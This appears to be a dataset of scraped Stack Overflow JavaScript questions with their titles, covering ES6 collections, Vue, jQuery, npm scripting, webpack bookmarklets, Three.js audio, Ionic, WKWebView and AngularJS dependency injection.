Examples of the data structures from : https : //github.com/lukehoban/es6featuresBonus . Which of the above data structures will produce the same/similar result of doing : let hash = object.create ( null ) ; hash [ index ] = something ; // Setsvar s = new Set ( ) ; s.add ( `` hello '' ) .add ( `` goodbye '' ) .add ( `` hello '' ) ; s.size === 2 ; s.has ( `` hello '' ) === true ; // Mapsvar m = new Map ( ) ; m.set ( `` hello '' , 42 ) ; m.set ( s , 34 ) ; m.get ( s ) == 34 ; // Weak Mapsvar wm = new WeakMap ( ) ; wm.set ( s , { extra : 42 } ) ; wm.size === undefined// Weak Setsvar ws = new WeakSet ( ) ; ws.add ( { data : 42 } ) ; // Because the added object has no other references , it will not be held in the set","ES6 Set , WeakSet , Map and WeakMap" "JS : I have a list and want to handle a click event for each item in the listAnd the script isThis works well when there are about 10 items . However , when there are about 1000 items , the performance becomes very slow because I attach 1000 events for 1000 items.The solution is to attach only one click event for the list and use event.targetIn function select , how can I get item corresponding to each item ? < ul > < li v-for= '' item , index in items '' : key= '' index '' @ click= '' select ( item ) '' > { { item } } < /li > < /ul > ... methods : { select ( item ) { console.log ( 'Select ' , item ) } } < ul @ click= '' select ( $ event ) '' > < li v-for= '' item , index in items '' : key= '' index '' > { { item } } < /li > < /ul >",Vue.js handle multiple click event "JS : I have a function that checks to see if an img tag is inside of a figure element with a class of `` colorbox '' , and if it is , to add some additional styling to some elements . However , the function still runs even if there are no images in the colorbox figure and I do n't know why.My jQuery looks like thisAnd here is the colorbox figure , clearly without an img element ... So why would jQuery be picking up an element that does n't exist ? jQuery ( document ) .ready ( function ( $ ) { if ( $ ( `` .colorbox '' ) .has ( `` img '' ) ) { ~code here~ } } < figure class= '' colorbox '' > < ficaption > < h2 > < /h2 > < p > < /p > < p > < /p > < /figcaption > < /figure >",jQuery detecting non-existent element "JS : I need to use the npm update from a script . Below is my code : When I run this script , the modules get updated , but the new versions are not indicated in the package.json.When I run npm update -- save-dev from command line , folders and package.json get updated.Please suggest how this can be achieved through the script.How can I use -- save-dev option through code ? var npm = require ( 'npm ' ) ; npm.load ( function ( ) { npm.commands.outdated ( { json : true } , function ( err , data ) { //console.log ( data ) ; npm.commands.update ( function ( err , d ) { console.log ( d ) ; } ) ; } ) ; } ) ;",How to update node modules programmatically "JS : when looking at the minified Sizzle code , I noticed that it begins like this : Why is there an exclamation point at the beginning ? I thought that ! was the not operator.Thank you.Edit : Full Code . ! function ( a ) { // ... } ( window )",JavaScript ! function ( ) { } "JS : I am trying to use reduce to convert a nested array to an object . I want to convert var bookprice = [ [ `` book1 '' , `` $ 5 '' ] , [ `` book2 '' , `` $ 2 '' ] , [ `` book3 '' , `` $ 7 '' ] ] ; to here is what I tried but the below result is not the desired result var bookpriceObj = { `` book1 '' : `` $ 5 '' , `` book2 '' : `` $ 2 '' , `` book3 '' : `` $ 7 '' } ; var bookprice = [ [ `` book1 '' , `` $ 5 '' ] , [ `` book2 '' , `` $ 2 '' ] , [ `` book3 '' , `` $ 7 '' ] ] ; bookpriceObj = { } ; bookprice.reduce ( function ( a , cv , ci , arr ) { for ( var i = 0 ; i < arr.length ; ++i ) bookpriceObj [ i ] = arr [ i ] ; return bookpriceObj ; } ) { [ `` book1 '' , `` $ 5 '' ] [ `` book2 '' , `` $ 2 '' ] [ `` book3 '' , `` $ 7 '' ] }",Convert nested array to an object "JS : I want to detect when sounds is ending , but all examples that i found not working.Live example : http : //codepen.io/anon/pen/wMRoWQ // Create soundvar sound1 = new THREE.PositionalAudio ( listener ) ; sound1.load ( 'sounds/Example.ogg ' ) ; sound1.setRefDistance ( 30 ) ; sound1.autoplay = false ; sound1.setLoop ( false ) ; mesh1.add ( sound1 ) ; // Start soundsetTimeout ( function ( ) { sound1.play ( ) ; } , 2000 ) ; // Try to detect end # 1sound1.onended = function ( ) { console.log ( 'sound1 ended # 1 ' ) ; } ; // Try to detect end # 1sound1.addEventListener ( 'ended ' , function ( ) { console.log ( 'sound1 ended # 2 ' ) ; } ) ;",Detect sound is ended in THREE.PositionalAudio ? "JS : I study the following code to logWhat is the purpose of apply ( ) here ? Why not just console.log ( `` message '' , arguments ) ? Thanks . console.log.apply ( console , arguments ) ;",Apply ( ) question for javascript "JS : I am having a hard time following this function . I do not understand how the variable start reverts back to 16 after it reaches a value of 26 which is greater than 24.OK , after looking at this for sometime , I have a few questions that might clarify a few things:1 ) Is it a correct statement to say that each call to find keeps track of it 's own start value ? For example , when find ( 1 ) is called , it 's has a start value of 1 , when find ( 1 + 5 ) is called , find ( 1 ) 's start value is still one , but find ( 1 + 5 ) now has it 's own start value of 6.2 ) I am having a hard time following the stacktrace even if I see it printed out . This is how I am viewing it : find ( 1 ) calls find ( 1 + 5 ) //start = 1find ( 6 ) calls find ( 6 + 5 ) // start = 6 , Passesfind ( 11 ) calls find ( 11 + 5 ) // start = 11 , Passesfind ( 16 ) calls find ( 16 + 5 ) // start = 16 , Passesfind ( 21 ) calls find ( 21 + 5 ) // start = 21 , FailsBecause find ( 21 + 5 ) returns null , it tries to call find ( 21 * 3 ) which also returns null.This is the part I get stuck at , if both find ( 21 + 5 ) and find ( 21 * 3 ) return null , how does it know to call find ( 16 * 3 ) next . Why does it not do find ( 16 + 5 ) again ? Does it have something to do where find ( 21 + 5 ) and find ( 21 * 3 ) were called by find ( 16 ) and because those returned null into the calling function , it executed the second portion of the || statement which was find ( 16 * 3 ) . function findSequence ( goal ) { function find ( start , history ) { if ( start == goal ) return history ; else if ( start > goal ) return null ; else return find ( start + 5 , `` ( `` + history + `` + 5 ) '' ) || find ( start * 3 , `` ( `` + history + `` * 3 ) '' ) ; } return find ( 1 , `` 1 '' ) ; } print ( findSequence ( 24 ) ) ;",Explain this javascript function from Eloquent Javascript "JS : I am trying to create a bookmarklet using bookmarklet-loader and the style-loader and css-loader . But I am having trouble importing css into my bookmarklet.This is what I havewebpack.config.js : src/bookmarklets/bookmarklet.js : src/index.js : Simply adds the bookmarklet to a link on a blank page , so I can add the link to my browser.But running webpack produces this error : SyntaxError : Unexpected token : string ( ./css/style.css ) at [ snipped ] node_modules/uglify-js/tools/node.jsI tried adding the following to my webpack.config.js : This now compiles fine , but the bookmarklet code contains require statements so when I try and run it in the browser I get an Uncaught ReferenceError : require is not definedI have found this and this but have been unable to get this to work . Edit : To explain simply the question and solution . I am trying to build a bookmarklet , but the bookmarklet-loader I am using is used for importing bookmarklets into other pieces of code . And this bookmarklet-loader in particular is not setup to handle css and templates required by the bookmarklet . I have switched to using a simple webpack config that produces a compiled javascript file and then this tool to convert that to a bookmarklet . This is my package.json in case if its of help to anyone : Now npm run build builds the bookmarklet and copies it to my clipboard so I can update the bookmarklet in the browser . const path = require ( 'path ' ) ; const HtmlWebpackPlugin = require ( 'html-webpack-plugin ' ) ; const CleanWebpackPlugin = require ( 'clean-webpack-plugin ' ) ; module.exports = { entry : { index : './src/index.js ' , bookmarklet : './src/bookmarklets/bookmarklet.js ' } , output : { filename : ' [ name ] .bundle.js ' , path : path.resolve ( __dirname , 'dist ' ) } , target : 'web ' , module : { rules : [ { test : /\.css $ / , use : [ 'style-loader ' , 'css-loader ' ] } , { test : /\.js $ / , use : [ 'bookmarklet-loader ' ] , include : path.join ( __dirname , './src/bookmarklets ' ) } ] } , plugins : [ new CleanWebpackPlugin ( [ 'dist ' ] ) , new HtmlWebpackPlugin ( { title : 'Development ' } ) ] import './css/style.css ' ; /* the rest of my bookmarklet code */ import bookmarklet from './bookmarklets/bookmarklet ' ; var add = document.createElement ( `` a '' ) ; add.href = `` javascript : '' + bookmarklet ; add.innerHTML = `` Click me '' ; document.body.appendChild ( add ) ; { test : /\.js $ / , use : [ 'bookmarklet-loader ' , 'style-loader ' , 'css-loader ' ] , include : path.join ( __dirname , './src/bookmarklets ' ) } < snip > '' scripts '' : { `` build '' : `` webpack & & bookmarklet dist/index.js dist/bookmarklet.js & & cat dist/bookmarklet.js | xclip -selection clipboard '' , }","Creating a bookmarklet using webpack , bookmarklet-loader , style and css-loader" "JS : I have a ionic select box which updates a scope variable . I also have a scope function which is a function which is dependent on that scope variable ( eg . it tests if it the variable is a specific value ) . The result of the function does not seem to update with the ionic select box , while it does seem to update in basic angularJs . Embedding the actual condition instead of the function seems to work for ionic.The ionic example : http : //codepen.io/anon/pen/VeOXzbRelevant javascript in controller : Relevant html : The same angular example , where it works as I expect : http : //jsfiddle.net/mm5vg0oa/Is this a bug or am I misunderstanding something in ionic ? $ scope.testValue = 'value1 ' ; $ scope.variableFunction1 = function ( ) { return $ scope.testValue === 'value2 ' ; } Does not change : { { variableFunction1 ( ) } } < br/ > Does change : { { testValue === 'value2 ' } } < br/ > < div class= '' item item-input item-select '' > < div class= '' input-label '' > testValue < /div > < select ng-model= '' testValue '' > < option value= '' value1 '' > Val1 < /option > < option value= '' value2 '' > Val2 < /option > < option value= '' value3 '' > Val3 < /option > < /select > < /div >",ionic select does not update function dependent on scope variable JS : I need to pass a click event from the controller so I used this code : In my browser it works when put ionic serve but it did n't work on mobile angular.element ( document.querySelectorAll ( ' # cal ' ) ) .triggerHandler ( 'click ' ) ;,Element trigger click event does n't work with ionic "JS : In Javascript , the == comparison has a strict ( non-type converting ) version : === . Likewise , ! = has the strict form ! == . These protect you from the following craziness : However , the other comparison operators have no equivalent strict modes : The obvious solution seems pretty verbose : Is there a more idiomatic ( or just less verbose ) way to do this in Javascript ? Reference : MDN Comparison Operators var s1 = `` 1 '' , i1 = 1 , i2 = 2 ; ( s1 == i1 ) // true , type conversion ( s1 ! = i1 ) // false , type conversion ( s1 === i1 ) // false , no type conversion ( s1 ! == i1 ) // true , no type conversion ( s1 < i2 ) // true , type conversion ( s1 < = i2 ) // true , type conversion ( [ ] < i2 ) // true , wait ... wat ! ? ( ( typeof s1 === typeof i2 ) & & ( s1 < i2 ) ) // false","Best and/or shortest way to do strict ( non-type converting ) < , > , < = , > = comparison in Javascript" "JS : Is it possible to write a simple dedicated web worker so it process something continuously and sends its state only when the client asks . What I 've done so far , the Client file : The worker file : As you can see the worker send continuously the primes it founds . I would like to be able to launch the prime calculation and asks the worker to send the latest prime he founds when I click a button on the client for example . That would be something like ( I know it can not work as but to give a general idea of what i want ) : Worker file : Client file : < script > // spawn a worker var worker = new Worker ( 'basic-worker.js ' ) ; // decide what to do when the worker sends us a message worker.onmessage = function ( e ) { document.getElementById ( 'result ' ) .textContent = e.data ; } ; < /script > < html > < head > < /head > < body > < p > The Highest prime number discovered so far : < outpout id= '' result '' > < /output > < /p > < /body > < /html > var n = 0 ; search : while ( true ) { n += 1 ; for ( var i = 2 ; i < = Math.sqrt ( n ) ; i += 1 ) if ( n % i == 0 ) continue search ; // found a prime ! postMessage ( n ) ; } var n = 0 ; var lPrime = 0 ; // post last prime number when receiving a messageonmessage = function ( e ) { postMessage ( lPrime ) ; } // continously search for prime numberssearch : while ( true ) { n += 1 ; for ( var i = 2 ; i < = Math.sqrt ( n ) ; i += 1 ) if ( n % i == 0 ) continue search ; // found a prime ! //postMessage ( n ) ; lPrime = n ; } < script > // spawn a worker var worker = new Worker ( 'basic-worker.js ' ) ; // what to do when the worker sends us a message worker.onmessage = function ( e ) { document.getElementById ( 'result ' ) .textContent = e.data ; } ; // post to the worker so the worker sends us the latest prime found function askPrime ( ) { worker.postMessage ( ) ; } ; < /script > < html > < head > < /head > < body > < p > The Highest prime number discovered so far : < outpout id= '' result '' > < /output > < /p > < input type= '' button '' onclick= '' askPrime ( ) ; '' > < /body > < /html >",Javascript dedicated web worker to send messages on demand "JS : using code like this : but it returns output like : I 'd like to get AST tree like this var remarkAbstract = require ( `` remark '' ) ; var remark = remarkAbstract ( ) ; let remark = remarkAbstract ( ) ; var ast = remark.process ( input ) ; AssertionError : VFile { contents : ' # header\n\n20 December 2012\n\n ! [ alt ] ( http : //yo.io/ ) \n\ncontent1\n\ncontent2\n\n # # header2\n ' , messages : =",How to get AST tree from markdown via remark "JS : Hey I have an iOS app with Watch Extension . When launching the Apple Watch app it launches the iPhone app and keeps it alive by sending sendMessage calls every couple of seconds . The iPhone app then navigates to a website in a WKWebView , checks its content every couple of seconds and then sends some of the data to the Apple Watch in order to be displayed there.Displaying the constantly-updating content on the Apple Watch works perfectly fine , I am getting the data on the iPhone like that : which I run every 5 seconds . As soon as the text in the article-title changes , the changes are visible on my Watch . Works.The elements all contain something like style= '' z-index : 206 ; height : ... and I successfully parse it by grabbing the attributes and then sub-stringing it down.I used the z-index value to sort the table rows on my Apple Watch but after 1-3 updates , the z-index of all the elements stopped updating . The contents ( like the article-title ) were still being updated so the data-flow was definitely working but I was wondering why the z-index ' stayed the same . At first I thought that it 's an issue with my sorting or during transfer to the Apple Watch but I was n't able to pin down this issue - when I ran the app on the iPhone , it always got the right index , but when I ran the app by launching it on the watch , the problem as described above appeared.After days of messing with data structures ( still thinking the error was on my side ) it finally hit me : when the app is launched in the background , the z-index on the page itself does n't get update . I checked this by launching the app on my Watch and getting the wrong z-index ' as usual but then I kept the Watch app open and launched the app on the iPhone - I saw the WKWebView updating the order of the elements according to their z-index and suddenly I got the right z-index for every element , even after pressing the home button . This explains a lot but still does n't really help me at solving the issue.How can I trick the WKWebView into letting the JS update all the elements z-index when it 's running in the background ? What I find weird is that this problem does n't occur after opening the iPhone app for a short period of time but I ca n't ask my users to open and `` minimize '' the app every time when wanting to access the Watch app as the purpose of a Watch app is to keep the phone in your pocket.Activating the iPhone app by sendMessage also calls viewDidLoad so there is no real difference that I can point out between launching the app on the phone manually and doing so by Watch . Javascript itself also works in the background so why would everything update except for the z-index attributes ? Preventing `` graphical '' updates running background would be understandable in regard to preserving battery life but is n't text `` graphical '' , too ? And why would it be different for a home-buttoned app if it 's been launched manually ? Removed because below only happened once , weird.EDIT : Ok so actually the index values change , but whenever one article gets pushed to the top , it goes to the same value as the highest value any article has without updating the value of the other ones . Example : It seems that WebKit has issues with the z-index so let 's see where the journey leads me self.webView.evaluateJavaScript ( `` document.documentElement.outerHTML.toString ( ) '' , completionHandler : { ( html : Any ? , error : Error ? ) . . . //splitting html content into TFHppleElementsself.contentArray.add ( ( element.search ( withXPathQuery : `` //div [ contains ( @ class , 'article-title ' ) ] '' ) [ 0 ] as AnyObject ) .content ) let styleContainer = element.attributes [ `` style '' ] as ! Stringvar firstHalf = styleContainer.components ( separatedBy : `` ; height : '' ) ... Before : A1 : 26A2 : 27A3 : 28A4 : 29After pushing A1 to the top in the background : A2 : 27A3 : 28A4 : 29A1 : 29After manually opening the app on the phone : A2 : 26A3 : 27A4 : 28A1 : 29",iOS WKWebView JS does n't update attribute modification when app in background "JS : Can someone explain me why a function called `` action '' creates a type error in the following code as soon as the button is surrounded by the form tags . I assume this leads to a strange conflict with the form 's action attribute , but i wonder why it happens in this scope ( `` action '' is not defined in any other way ) : < html > < head > < script type= '' text/javascript '' > function action ( ) { alert ( 'test ' ) ; } < /script > < /head > < body > < form > < input type= '' button '' value= '' click '' onClick= '' action ( ) ; '' > < /form > < /body > < /html >",JavaScript function called `` action '' "JS : ProblemFunction arguments destructuring is an amazing feature in ES6.Assume we want a function named f to accept an Object which has an a keyWe have default values for the case when parameter was n't provided to a function in order to avoid Type ErrorThis will help in the following caseThough , it will fail onYou can see how Babel transpiles the function to ES5 here.Possible solutionsIt can be avoided by arguments validation and preprocessing . In Python I could use decorator , but in JS we do n't have them standardized , so it 's not a good idea to use them yet.Though , assume we have a decorator checkInputObject , which makes needed checks and provides default values using given items list ( or tree for the case of nested destructuring ) .We could use it in the following way without @ notationIt could look like this with @ notationAlso I can make all needed actions in the function itself and only then use destructuring , but in this case I lose all advantages of function arguments destructuring ( I 'll not use it at all ) I can even implement some common function like checkInputObject in order to use it inside of the functionThough , using of additional code does n't look elegant to me . I 'd like to have not existent entities be decomposed to undefined.Assume we haveIt would be nice to get undefined in the case of f ( ) .QuestionDo you know any elegant and convenient way to make [ nested ] destructuring resistant to nonexistent nested keys ? My concern is following : seems like this feature is unsafe for using in public methods and I need to make a validation by myself before using it . That 's why it seems useless until used in private methods . function f ( { a } ) { return a ; } function f ( { a } = { } ) { return a ; } const a = f ( ) ; // undefined const a = f ( null ) ; // TypeError : Can not match against 'undefined ' or 'null ' . const f = checkInputObject ( [ ' a ' ] ) ( ( { a } ) = > a ) ; @ checkInputObject ( [ ' a ' ] ) function f ( { a } ) { return a ; } function f ( param ) { if ( ! param ) { return ; } const { a } = param ; return a ; } const fChecker = checkInputObject ( [ ' a ' ] ) ; function f ( param ) { const { a } = fChecker ( param ) ; return a ; } function f ( { a : [ , c ] ) { return c ; }",ES6 destructuring preprocessing "JS : I 'm trying to recreate in Javascript ( specifically with p5.js ) an effect others seem to have successfully accomplished using the Mathematica suite , as seen here https : //mathematica.stackexchange.com/a/39049.I 'm 100 % ignorant about Mathematica , but I see they are using a method called GradientOrientationFilter to create a pattern of strokes following the direction of the gradients of the image.My results are still not satisfying.The logic I 'm attemptingcreate a histogram of oriented gradients , evaluating the luma values , then finding the horizontal and vertical gradient , and it 's direction and magnitude ; draw a line at each pixel to represent the gradient direction with a random grayscale color.I will use these lines later , blended with the actual picture.The code : The results on a imageMy field made in javascript is much more noisy than the one made in Mathematica.http : //jsfiddle.net/frapporti/b4zxkcmL/Final noteI 'm quite new to p5.js , perhaps I 'm reinventing the wheel in some passage . Feel free to correct me in this too.Fiddle : http : //jsfiddle.net/frapporti/b4zxkcmL/ var img , vectors ; var pixelsToSkip = 2 ; // for faster rendering we can stroke less linesvar linesLength = 20 ; var strokeThickness = 1 ; function preload ( ) { img = loadImage ( 'http : //lorempixel.com/300/400/people/1 ' ) ; img2 = loadImage ( 'http : //lorempixel.com/300/400/people/1 ' ) ; /* you can test in local if the directions are correct using a simple gradient as image img = loadImage ( 'http : //fornace.io/jstests/img/gradient.jpg ' ) ; img2 = loadImage ( 'http : //fornace.io/jstests/img/gradient.jpg ' ) ; */ } function setup ( ) { createCanvas ( img.width , img.height ) ; noLoop ( ) ; img.loadPixels ( ) ; makeLumas ( ) ; makeGradients ( ) ; makeVectors ( ) ; for ( var xx = 0 ; xx < img.width ; xx = xx + pixelsToSkip ) { for ( var yy = 0 ; yy < img.height ; yy = yy + pixelsToSkip ) { push ( ) ; stroke ( random ( 255 ) ) ; // to color with pixel color change to stroke ( img.get ( xx , yy ) ) ; strokeWeight ( strokeThickness ) ; translate ( xx , yy ) ; rotate ( vectors [ yy ] [ xx ] .dir ) ; // here we use the rotation of the gradient line ( -linesLength/2 , 0 , linesLength/2 , 0 ) ; pop ( ) ; } } // adding the image in overlay to evaluate if the map is good// tint ( 255 , 255 , 255 , 100 ) ; // image ( img2,0,0 ) ; } function draw ( ) { } function makeLumas ( ) { // calculate the luma for each pixel to get a map of dark/light areas ( `` Rec . 601 '' ) https : //en.wikipedia.org/wiki/Luma_ ( video ) lumas = new Array ( img.height ) ; for ( var y = 0 ; y < img.height ; y++ ) { lumas [ y ] = new Array ( img.width ) ; for ( var x = 0 ; x < img.height ; x++ ) { var i = x * 4 + y * 4 * img.width ; var r = img.pixels [ i ] , g = img.pixels [ i + 1 ] , b = img.pixels [ i + 2 ] , a = img.pixels [ i + 3 ] ; var luma = a == 0 ? 1 : ( r * 299/1000 + g * 587/1000 + b * 114/1000 ) / 255 ; lumas [ y ] [ x ] = luma ; } } } function makeGradients ( ) { // calculate the gradients ( kernel [ -1 , 0 , 1 ] ) var horizontalGradient = verticalGradient = [ ] ; for ( var y = 0 ; y < img.height ; y++ ) { horizontalGradient [ y ] = new Array ( img.width ) ; verticalGradient [ y ] = new Array ( img.width ) ; var row = lumas [ y ] ; for ( var x = 0 ; x < img.width ; x++ ) { var prevX = x == 0 ? 0 : lumas [ y ] [ x - 1 ] ; var nextX = x == img.width - 1 ? 0 : lumas [ y ] [ x + 1 ] ; var prevY = y == 0 ? 0 : lumas [ y - 1 ] [ x ] ; var nextY = y == img.height - 1 ? 0 : lumas [ y + 1 ] [ x ] ; horizontalGradient [ y ] [ x ] = -prevX + nextX ; verticalGradient [ y ] [ x ] = -prevY + nextY ; } } } function makeVectors ( ) { // calculate direction and magnitude vectors = new Array ( img.height ) ; for ( var y = 0 ; y < img.height ; y++ ) { vectors [ y ] = new Array ( img.width ) ; for ( var x = 0 ; x < img.width ; x++ ) { var prevX = x == 0 ? 0 : lumas [ y ] [ x - 1 ] ; var nextX = x == img.width - 1 ? 0 : lumas [ y ] [ x + 1 ] ; var prevY = y == 0 ? 0 : lumas [ y - 1 ] [ x ] ; var nextY = y == img.height - 1 ? 0 : lumas [ y + 1 ] [ x ] ; var gradientX = -prevX + nextX ; var gradientY = -prevY + nextY ; vectors [ y ] [ x ] = { mag : Math.sqrt ( Math.pow ( gradientX , 2 ) + Math.pow ( gradientY , 2 ) ) , dir : Math.atan2 ( gradientY , gradientX ) } } } }",Using gradient orientations to direct brush stroke effect in Javascript "JS : On my website I have a search box ( text input field ) .When the user clicks on it and starts typing text a menu of links appears.The menu appears via JQuery - The following command makes the menu appear : When the user clicks off the search box , I would like the menu to disappear.The easiest way of doing this would be to be use the following command : However , if I do this , then when the user clicks on a link in the menu , the text input field loses focus and so the menu disappears before the user is taken to the select page.How can I make it so the menu disappears when the search field loses focus , ( but if the user clicks on a link before the search field loses focus , s/he is still able to be taken to the link ) ? `` .focus ( function ( ) { $ ( `` # instant_search_wrapper '' ) .show ( ) ; } ) ; `` `` .blur ( function ( ) { $ ( `` # instant_search_wrapper '' ) .hide ( ) ; } ) ; ''","Make a search menu disappear when the search field loses focus , but still allow user to click on links" "JS : I have an array like : I want to alert when all the array values are blanks , i.e , when the array is like this : How can I achieve this . [ `` '' , `` '' , `` '' , `` 1 '' , `` '' , `` '' ] [ `` '' , `` '' , `` '' , `` '' , `` '' , `` '' ]",How to check if all array values are blank in Javascript "JS : I 'm trying to get a link to wrap around all text within a div . I can only find solutions where you move certain DOM elements entirely , or move other elements into an element.current situation : desired situation : Unfortunately , I can not change the markup , so I have to do something with jQuery . < div class= '' text '' > < a href= '' link '' > text < /a > and more text < /div > < div class= '' text '' > < a href= '' link '' > text and more text < /a > < /div >",Move closing < /a > tag to the end of a containing element "JS : I want to upload 10 images together and send a axios request to backend to do some calculations with those 10 files , after calculations there will be response as { imagename : true } or { imagename : false } receiving the response from backend I want to list those 10 images on frontend with a indication that the calculation is true or false.This is what I tried but I 'm stuck after getting response and unable to show the true or false status.console.log ( res.data ) response import React from 'react ' ; import AppBar from ' @ material-ui/core/AppBar ' ; import Toolbar from ' @ material-ui/core/Toolbar ' ; import Typography from ' @ material-ui/core/Typography ' ; import { Grid , Row , Col } from 'react-flexbox-grid ' ; import axios , { post } from 'axios ' ; import compose from 'recompose/compose ' ; import { withStyles } from ' @ material-ui/core/styles ' ; import Styles from '../styles ' ; import Paper from ' @ material-ui/core/Paper ' ; import Button from ' @ material-ui/core/Button ' ; import Table from ' @ material-ui/core/Table ' ; import TableBody from ' @ material-ui/core/TableBody ' ; import TableCell from ' @ material-ui/core/TableCell ' ; import TableHead from ' @ material-ui/core/TableHead ' ; import TableRow from ' @ material-ui/core/TableRow ' ; import { Scrollbars } from 'react-custom-scrollbars ' ; import FormControlLabel from ' @ material-ui/core/FormControlLabel ' ; import Checkbox from ' @ material-ui/core/Checkbox ' ; class ImageUploader extends React.Component { constructor ( props ) { super ( props ) ; this.state = { file : null , user_name : this.props.username , checkboxcolor : false , detailsResoponse : [ ] , responseList : [ ] , imageList : [ ] , uploadResponse : 'priya ' , a : [ ] , loaded : 0 } this.onFormSubmit = this.onFormSubmit.bind ( this ) this.handelFile = this.handelFile.bind ( this ) this.fileUpload = this.fileUpload.bind ( this ) } onFormSubmit ( ) { this.setState ( { responseList : [ ] } ) var files=this.state.file for ( var i in files ) { this.fileUpload ( files [ i ] ) .then ( ( response ) = > { // console.log ( response.data ) ; } ) } } handelFile ( e ) { if ( e.target.files.length == 10 ) { var self=this self.setState ( { imgList : [ ] , file : e.target.files , } ) for ( var i in e.target.files ) { if ( i ! = 'length ' & & i ! = 'item ' ) { if ( e.target.files [ i ] .type.split ( '/ ' ) [ 0 ] == 'image ' ) { self.state.imageList.push ( e.target.files [ i ] ) } } } } else { alert ( 'Please upload 10 images ' ) } } urlBlob ( id , file ) { var reader = new FileReader ( ) ; reader.onload = function ( e ) { var image=document.getElementById ( id ) image.src=e.target.result } reader.readAsDataURL ( file ) ; } fileUpload ( file ) { const url = 'http : //abc ' ; const formData = new FormData ( ) ; formData.append ( 'image ' , file ) const config = { headers : { 'content-type ' : 'multipart/form-data ' , 'Access-Control-Allow-Origin ' : '* ' } } return axios.post ( url , formData , config ) .then ( res = > { var jsondata=JSON.stringify ( res.data ) JSON.parse ( jsondata , ( key , value ) = > { // if ( value == true ) { // this.state.a.push ( key ) var arrayList= this.state.responseList arrayList.push ( res.data ) this.setState ( { responseList : arrayList , // checkboxcolor : true } ) // } } ) ; } ) .catch ( function ( error ) { alert ( error ) } ) ; } render ( ) { const { classes } = this.props ; console.log ( this.state.a ) console.log ( this.state.imageList , '' yep '' ) // console.log ( this.state.responseList , '' responseList '' ) return ( < div > < Grid > < Row > < Col sm= { 12 } md= { 12 } lg= { 12 } > < AppBar position= '' static '' color= '' inherit '' className= { classes.app } > < Toolbar > < Typography variant= '' title '' color= '' inherit '' > Upload Image < /Typography > < /Toolbar > < /AppBar > < /Col > < /Row > < Row > < Col sm= { 12 } md= { 12 } lg= { 12 } > < Paper elevation= { 3 } style= { { padding:20 , height:25 , marginBottom:20 } } > < input id= '' fileItem '' type= '' file '' onChange= { this.handelFile } multiple / > < Button color= '' primary '' onClick= { this.onFormSubmit } > Upload < /Button > < /Paper > < /Col > < /Row > < Row > < Col sm= { 12 } md= { 12 } lg= { 12 } > < Table style= { { width : '80 % ' , position : 'relative ' , left : ' 8 % ' , border : '2px solid lightgrey ' , marginTop : ' 3 % ' } } > < TableHead > < TableRow > < TableCell className= { classes.phPadding } > Checkbox < /TableCell > < TableCell className= { classes.phPadding } > Image < /TableCell > < TableCell className= { classes.phPadding } > Name < /TableCell > < TableCell className= { classes.phPadding } > Username < /TableCell > < TableCell style= { { width : '10 % ' } } > < /TableCell > < /TableRow > < /TableHead > < /Table > < Scrollbars style= { { height : 328 } } > { this.state.imageList.map ( ( item , key ) = > ( < Table style= { { width : '80 % ' , position : 'relative ' , left : ' 8 % ' , border : '2px solid lightgrey ' , borderTop : '0px ' } } > < TableBody > < TableRow key= { key } > < TableCell className= { classes.phPadding } > { this.state.checkboxcolor ? < FormControlLabel control= { < Checkbox checked= { this.state.checkboxcolor } / > } / > : null } < /TableCell > < TableCell className= { classes.phPadding } > < img id= { `` image '' +key } src= { this.urlBlob ( `` image '' +key , item ) } height= '' 90 '' width= '' 90 '' / > < /TableCell > < TableCell className= { classes.phPadding } > { item.name } < /TableCell > < TableCell className= { classes.phPadding } > { /* { this.state.user_name } */ } user_name < /TableCell > < TableCell > < /TableCell > < /TableRow > < /TableBody > < /Table > ) ) } < /Scrollbars > < /Col > < /Row > < /Grid > < /div > ) } } export default compose ( withStyles ( Styles ) ) ( ImageUploader ) ;",Upload Image and indicating response in a table with axios and JavaScript "JS : I am working with react-google-chart and what I want to do is to make a dual-y axis ColumnChartI have done it with plain JavascriptMy problem is with react I want to do it with react but do n't know how to implement the materialChart.drawThis is react code I want to convert it like the aboveEDIT / UPDATEHere I am trying to build a bar chart using React-google-chart with dual-y axis , I have already done this one using plain javascript , but facing issue to do it with react . Please check my example I have shared . google.charts.load ( 'current ' , { 'packages ' : [ 'corechart ' , 'bar ' ] } ) ; google.charts.setOnLoadCallback ( drawStuff ) ; function drawStuff ( ) { var chartDiv = document.getElementById ( 'chart_div ' ) ; var data = google.visualization.arrayToDataTable ( [ [ 'Month ' , 'CTC ' , 'Gross Salary ' , 'Variation of CTC ' , 'Total No of Employes ' ] , [ 'Jan ' , 35000 , 27000 , 10000 , 3000 ] , [ 'feb ' , 30000 , 24000 , 8000 , 4000 ] , [ 'Mar ' , 50000 , 37000 , 7000 , 2000 ] , [ 'May ' , 20000 , 17000 , 5000 , 4123 ] , [ 'June ' , 20000 , 17000 , 5000 , 4000 ] , [ 'July ' , 20000 , 17000 , 5000 , 4000 ] , [ 'August ' , 20000 , 17000 , 5000 , 4000 ] , [ 'Sep ' , 20000 , 17000 , 5000 , 4000 ] , [ 'Oct ' , 20000 , 17000 , 5000 , 4000 ] , [ 'Nov ' , 20000 , 17000 , 5000 , 4000 ] , [ 'Dec ' , 20000 , 17000 , 5000 , 4000 ] ] ) ; var materialOptions = { width : 900 , chart : { title : 'Nearby galaxies ' , } , series : { 0 : { axis : 'test ' } // Bind series 1 to an axis named 'brightness ' . } , } ; function drawMaterialChart ( ) { var materialChart = new google.charts.Bar ( chartDiv ) ; materialChart.draw ( data , google.charts.Bar.convertOptions ( materialOptions ) ) ; } drawMaterialChart ( ) ; } ; < script type= '' text/javascript '' src= '' https : //www.gstatic.com/charts/loader.js '' > < /script > < div id= '' chart_div '' style= '' width : 800px ; height : 500px ; '' > < /div >",How to make react-google chart dual-y-axis "JS : I 've been investigating the tutorial example from AngularJs 's site ( this one ) ( The main html is pretty empty ( except for ng-view and ng-app=phonecatApp ) ) The app.js file includes this : Ok , so we have phonecatApp module with many dependencies.But then I saw the controller.js file ( they opened a new module for the controllers ) Phone is a service . ( which is on another module , different js file ) QuestionIn line # 3 , how does it know what is the Phone parameter ? they didnt add any dependecy module in line # 1 ! Same for the $ routeParams , how does it know it ? they did n't add any dependency in line # 1 to the ngRoute ! Am I missing something here ? var phonecatApp = angular.module ( 'phonecatApp ' , [ 'ngRoute ' , 'phonecatControllers ' , 'phonecatFilters ' , 'phonecatServices ' ] ) ; phonecatApp.config ( [ ' $ routeProvider ' , ... /*1*/ var phonecatControllers = angular.module ( 'phonecatControllers ' , [ ] ) ; /*2*/ 